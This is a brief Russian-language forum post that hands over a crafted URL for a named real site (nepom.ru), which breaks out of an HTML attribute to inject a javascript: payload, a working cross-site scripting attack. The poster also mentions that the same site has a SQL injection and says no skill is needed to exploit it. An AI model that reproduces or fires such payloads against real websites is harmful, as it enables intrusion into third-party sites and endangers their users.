Вот держи
---
http://nepom.ru/photos/photos.php?photo=112994244510"%20STYLE="background-image:url(javascript:alert('XAXA'))"%20e="
---
Только я не понял зачем хсс если есть sql-inj?
ЗЫ Знаний тут никаких не нужно! На нашем любимом сайте есть неплохой справочник, ещё есть такая штука - яндекс называется)